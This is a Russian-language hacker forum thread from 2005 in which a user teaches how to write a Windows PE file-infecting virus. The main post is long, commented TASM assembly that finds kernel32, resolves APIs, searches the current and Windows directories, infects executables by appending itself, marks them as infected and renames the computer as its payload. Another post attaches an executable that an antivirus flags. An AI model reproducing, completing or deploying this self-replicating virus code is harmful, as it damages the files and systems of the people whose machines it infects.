IPB
ЛогинПароль:

> Пишем вирус..., Наконец написал.
сообщение
Сообщение #1


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


Почти каждый, кто изучает язык ассемблера, рано или поздно пишет вирус, некоторые люди пишут вирус, когда заканчивают изучать какой-нибудь язык программирования... Прежде чем читать то, что я буду писать ниже и понимать хоть что-нибудь, вы должны:
а) знать основные команды ассемблера
б) уметь пользоватся АПИ-функциями
в) взять где-нибудь (можно и у меня) TASM32 (можно и другой, но каждый компилятор имеет свои особенности).
г) отладчик (если собираетесь собственноручно создать зверька, то без отладки довольно трудно найти ошибки)
д) прогу, которая прикреплена (на неё вопит касперский, но это не вирус!!!! )
е) иметь здоровую голову (если вы хотите испортить все компы на Земле, то ваше место в больнице, а не здесь)
ё) ПОМНИТЬ, ЧТО ЭТОТ МАТЕРИАЛ ПРЕДСТАВЛЕН ТОЛЬКО В ЦЕЛЯХ ОБУЧЕНИЯ, И ЗА ПОСЛЕДСТВИЯ Я НИКАКОЙ ОТВЕТСТВЕННОСТИ НЕ НЕСУ
Вроде всё.

Теперь план обучения:
1) формат заголовка файла РЕ
2) разбор основных полей заголовка РЕ
3) методика заражения
4) дельта-смещение.
5) поиск АПИ
6) разбор используемых АПИ
7) пишем код
8) Reserved smile.gif


Прикрепленные файлы
Прикрепленный файл  Pewrsec.exe ( 8.62 килобайт ) Кол-во скачиваний: 3


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
 
 Ответить  Открыть новую тему 
Ответов
сообщение
Сообщение #2


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


Теперь пришло время писать код.

includelib import32.lib
extrn ExitProcess: near
extrn MessageBoxA: near
;нам нужны эти АПИ исключительно в первом поколении

.386
;модель проца (вирус будет запускаться на процессорах 80386 и выше)

.model flat
;плоская модель (позволяет использовать до 4гб памяти)

jumps
;не прыгаем за пределы

.data
; тут данные. вернее их отсутствие, просто без этой секции компилятор не компилит
dibilizm_dlya_tupogo_kompilyatora db 0
.code
start:
call delta
; начинаем код с поисков дельты
delta:
sub dword ptr [esp], offset delta
; адрес метки delta - адрес возврата - в стеке. esp - вершина стека и указывает на этот адрес.
; Отнимаем от этого значения смещение метки, которое она имеет в первом поколении

xor edx, edx ; в edx - 0 будем использовать при поиске кернела
mov ebp, [esp] ; в ebp - дельту

R_SEH:
mov eax,fs:[edx]
dec edx

search32:
cmp [eax], edx
je check32
mov eax, [eax]
jmp short search32

check32:
mov eax,[eax+4]
xor ax,ax
searchMZ:
cmp word ptr [eax],5A4Dh ; MZ
je IsPe
sub eax, 10000h
jmp short searchMZ

IsPe:
mov edx,[eax+3ch]
cmp [eax+edx],4550h ; PE
jne Exit
; kernel found

get_export:
mov esi, [eax+edx+78h] ; get export rva
lea esi, [esi+eax+1ch]
xchg eax, ebx ; in ebx kernelBase
mov ecx, 3
loop_lodsd:
lodsd
add eax, ebx
push eax
dec cl
jnz loop_lodsd

lea edi, [ebp+offset GetWindowsDirectoryA_]
main_loop:
str_lenth:
xor eax,eax
mov esi,edi
s4et:
scasb
jnz s4et
mov edx, esi
sub edi, esi
mov esi, [esp+4]
mov ecx, edi ; ecx=edi=length(string)
searchAPI:
push esi
mov edi, edx
mov esi, [esi]
push ecx
add esi, ebx

cld
rep cmpsb

pop ecx
pop esi
jz equal
inc ax
add esi, 4
jmp searchAPI

equal:
shl eax,1

mov ecx, [esp]
add ecx, eax
mov ecx, [ecx]
and ecx, 0ffffh
shl ecx, 2

mov eax, [esp+4*2]
add eax, ecx
mov eax, [eax]
add eax, ebx
mov [edi], eax

cmp word ptr [edi+4], 0B0BAH
je vse_naideno

add edi, 4
jmp main_loop ; это поиск адресов АПИ. Я уже это описал.
vse_naideno:
mov byte ptr [ebp+numbofdirs], 1
; кол-во директорий, которые заражаем после текущей

lea edi, [ebp+offset szWindowsDirectory]
push Some_pathes
push edi
call [ebp+_GetWindowsDirectoryA]
; находим директорию, где "живёт" винда

FindFirsttttt:
lea eax, [ebp+offset WFD32]
push eax
lea eax, [ebp+offset FN4Search]
push eax

call [ebp+_FindFirstFileA]
; ищем первый файл в текущей директории
inc eax
jz nextdir
dec eax
; в случае провала у нас в еах -1 прибавляем 1 получаем 0.
; Тогда ф-ия провалилась, тогда сработает jz nextdir и мы начнём
; поиски в след. директории (в этом вирусе - в директории винды)
; если же ф-ия успешна, то мы отнимаем 1, чтоб получить правильный хендл...

mov [ebp+offset hFF], eax
; и сохраняем его в переменной

mov ecx, 5 ; кол-во файлов для заражения
push dword ptr [ebp+EIPs]
; это одно из "шатких" мест кода. дело в том, что точка входа определяется
; при заражении файла и записывается в файл в соответствующую переменную.
; Для того, чтоб её записать в файл на месте переменной, её надо туда поместить,
; что и делается при заражении файла, но это портит то значение, которое было
; таким же образом забито в этом поколении. Поэтому мы должны его сохранить,
; чтоб потом можно было его заюзать при передаче управления носителю

modifyIt:
push ecx
; в есх у нас счётчик. Так как мы будем работать с этим регистром,
; то будем его сохранять в начале цикла и восстанавливать в конце
jmp infection
; "прыгаем" на процедуру заражения
infection_done:
; сюда попадаем после заражения найденного файла
PLZNext:
lea eax, [ebp+offset WFD32]
push eax
push dword ptr [ebp+offset hFF]
call [ebp+_FindNextFileA]
pop ecx ; восстанавливаем счётчик
test eax, eax
jz nextdir
; если не находим ещё файл пробуем искать в директории винды
dec cx
jnz modifyIt
; уменьшаем значения счётчика на 1 и если он не стал 0, то повторяем цикл.
; Теперь предлагаю вам подобие алгоритма куска кода от FindFirsttttt по Exit
; 1) ищем первый файл
; 2) не нашли - шаг 6
; 3) заражаем
; 4) ищем следующий
; 5) нашли - шаг 3
; 6) след. директория
; 7) если есть директория - шаг 1
; 8) выход
Exit:
pop dword ptr [ebp+EIPs]
; сюда мы попадаем в случае провала или случае заражения достаточного кол-ва объектов
call killfind
; вызываем процедуру, которая закрывает хендл поиска, она расположена в хвосте виря

lea edi, [ebp+offset NewComp]
push edi
call [ebp+_SetComputerNameA]
; это наша "полезная нагрузка" (мы устанавливаем имя компьютера Win32.Instan)

test ebp,ebp
jz first_gen
; это проверка на первое поколение. в первом поколении мы выводим сообщение и выходим,
; а во втором надо возвратитьуправление носителю

mov eax, 0666B0BAH
org $-4
EIPs dd 00401000h
jmp eax
; тут использован небольшой трюк... команда mov reg32, xxxxxxxxh имеет опкод
; b8r xxxxxxxx, где xxxxxxxx - число, которое заносится в регистр. А теперь представьте,
; что у нас в памяти на месте хххххххх стоит переменная. тогда в регистр будет попадать
; значение этой переменной. у нас в проге вместо 0666B0BAH будет в регистре адрес точки
; входа. Мы помещаем в еах старый адрес точки входа, после чего работает jmp eax,
; который совершает прыжок на адрес, который лежит в еах

infection:
; начало работы с файлом (заражения) когда мы находимся здесь, у нас уже есть найденный файл
lea eax, [ebp+offset FName]
push dword ptr FAttrNorm
push eax
call [ebp + _SetFileAttributesA]
; устанавливаем атрибуты файла (обычный файл, не системный, не скрытый)

xor eax, eax
push eax ; handle to file
push eax ; flags and attributes
push 00000003h ; how to create(OPEN_EXISTING)
push eax ; security attr
push 00000003h ; share mode
push 0c0000000h ; access mode
lea eax, [ebp+offset FName]
push eax ; pointer to file name
call [ebp+_CreateFileA]
; открываем файл, если онсуществует

mov dword ptr [ebp+hFO], eax
; сохраняем хендл в переменной
inc eax
; если в регистре -1, то ...
jz infection_done
; ... ищем следующий файл (заражение этого провалилось)

mov ecx, [ebp+FSizeL]
; FSizeL - младшее слово длины файла (берём из WFD)
xor ebx, ebx
; обнуляем ebx. это нам нужно для работы кода
; ecx - low size
crFM:
mov eax, [ebp+hFO]
xor edx, edx
; edx=0, будем использовать для заталкивания в стек (это короче и быстрее, чем push 0)
push edx ; name of object
push ecx ; low size
push edx ; high size
push PAGE_READWRITE ; protect
push edx ; security attr
push eax ; handle to file to map
call [ebp+_CreateFileMappingA] ; создаём мэппинг
test eax, eax
jz close_file ; в случае неудачи закрываем файл
mov [ebp+hFM], eax ; в случае успеха сохраняем хендл

xor edx,edx
MVF:
push edx ; number bytes to map
push edx ; offs low
push edx ; offs high
push SRW ; access mode
push eax ; handle by crFM
call [ebp+_MapViewOfFile] ; мэппируем файл в память

test eax, eax
jz zeroid ; если неудача, то закрываем всё, что закрывается и ищем след. файл
mov [ebp+pFM], eax ; в случае успеха сохраняем хендл в переменную

test ebx, ebx
jnz dali_bude
; итак, пришло время рассказать о великом значении регистра ebx в нашем коде.
; он работает как флаг. когда его значение 0 - выполняется следующие проверки,
; а также после отработки (ниже) процедуры close_FM мы закрываем файл и ищем
; следующий. если же там другое значение, то мы перескакиваем проверки, а также
; не закрываем файл после отработки close_FM. это связано с тем, что мэппинг
; открывается 2 раза. один - для проверки, второй - для изменений (с увеличенной длиной)

add eax,[eax+3Ch]
; после отработки MapViewOfFile в еах лежит смещение на начало файла. по смещению 3Ch
; лежит смещение на заголовок РЕ относительно начала файла, поэтому нам надо добавить
; это число к еах, чтоб получить адрес заголовка
cmp word ptr [eax], 'EP'
; сравниваем сигнатуру
jne UVF
; если нам подсунули липу, то завершаем работу с этим файлом (ebx=0)

cmp dword ptr [eax+44h], 'CPM ' ;это метка зараженности.
je UVF
; если заражен файл, то его не трогаем, зачем его дважды заражать
; (поэтому первое поколение тоже заражается, получается вирус на вирусе : )

mov ecx, dword ptr [eax+3ch]
; по смещению 3с заголовка лежит File Allignment будем его юзать для выравнивания
; всего, что можно выровнять.
mov [ebp+file_align], ecx ; чтоб его не потерять, фигачим его в переменную

inc ebx ; делаем ebx != 0
jmp UVF ; если ebx != 0 у нас закроется мэппинг, но файл не закроется и мы попадём на step1
step1:
mov eax, vir_size ; в еах длина вируса
call aligning ; выравниваем
al_done:
mov ecx, [ebp+FSizeL] ; в есх длину файла
add ecx, eax ; прибавляем выровненную длину выря
jmp crFM
; создаём мэппинг заново, только с новой длиной (длина у нас там передаётсячерез есх).
; после этого, так как ebx <> 0 попадаем на метку dali_bude, но у нас уже файл увеличилс
; на 800h байт (выровненная длина вируса)
dali_bude:
push eax
; так как мы перемэппили файл, в еах забился адрес начала файла. мы его в стек (ещё пригодится)
add eax,[eax+3ch] ; теперь найдем заголовок
push eax ; его адрес тоже в стек (удобная это штука)
movzx ecx, word ptr [eax+6]
; обнулим есх, занесём туда кол-во секций (адрес начала РЕ + 6)
jmp last_sec_find
; прыгаем на процедуру поиска последней секции

продолжение ниже

Сообщение отредактировано: volvo -


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 

Сообщений в этой теме
FreeMan   Пишем вирус...   4.01.2005 14:23
FreeMan   1. Формат заголовка РЕ Заголовок - это структура,…   4.01.2005 14:25
FreeMan   2. Разбор основных полей РЕ заголовка. Итак, вы п…   4.01.2005 14:31
FreeMan   3. Методика заражения Пишу в виде алгоритма, хотя…   4.01.2005 14:33
FreeMan   4. Дельта смещение. При линковке программы происхо…   5.01.2005 14:17
FreeMan   3.1 В поисках дельты. Может вам показалось, что по…   5.01.2005 14:17
FreeMan   5) Поиск АПИ. Когда Винда загружает файл, она в ад…   5.01.2005 14:20
FreeMan   [b]5.1. Поиск адреса кернела Кернел висит в памяти…   5.01.2005 15:38
FreeMan   [b]5.2 Поиск АПИ... Теперь адрес кернела мы знаем…   5.01.2005 17:07
FreeMan   [b]6. Pазбор используемых АПИ Разбор сводится к ко…   7.01.2005 16:51
FreeMan   FindFirstFileA - ищет файл в текущей директории …   7.01.2005 17:13
FreeMan   FindNextFileA - ищет следующий файл hFindFile -…   7.01.2005 17:30
FreeMan   MapViewOfFile - помещает промэппированный файл в п…   7.01.2005 17:45
FreeMan   UnmapViewOfFile - полная противоположность MapView…   12.01.2005 21:37
FreeMan   [b]7. Пишем код В исполняемый файл добавляем код …   12.01.2005 21:38
FreeMan   То есть, для успешного заражения надо пофиксить ещ…   12.01.2005 21:41
FreeMan   [b]7.1 Пишем код Для разминки напишем прогу, котор…   12.01.2005 21:42
FreeMan   Кстати, вышел номер 29А... http://www.vx.netlux.or…   12.01.2005 22:03
FreeMan   Теперь пришло время писать код. includelib import…   14.01.2005 20:51
FreeMan   ls_found: ; сюда попадём после того, как найдена …   14.01.2005 20:52
Тоха   ЭТО КРУТО! Спасибо большое.   26.02.2009 17:09


 Ответить  Открыть новую тему 
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0

 





- Текстовая версия 19.04.2024 19:28
500Gb HDD, 6Gb RAM, 2 Cores, 7 EUR в месяц — такие хостинги правда бывают
Связь с администрацией: bu_gen в домене octagram.name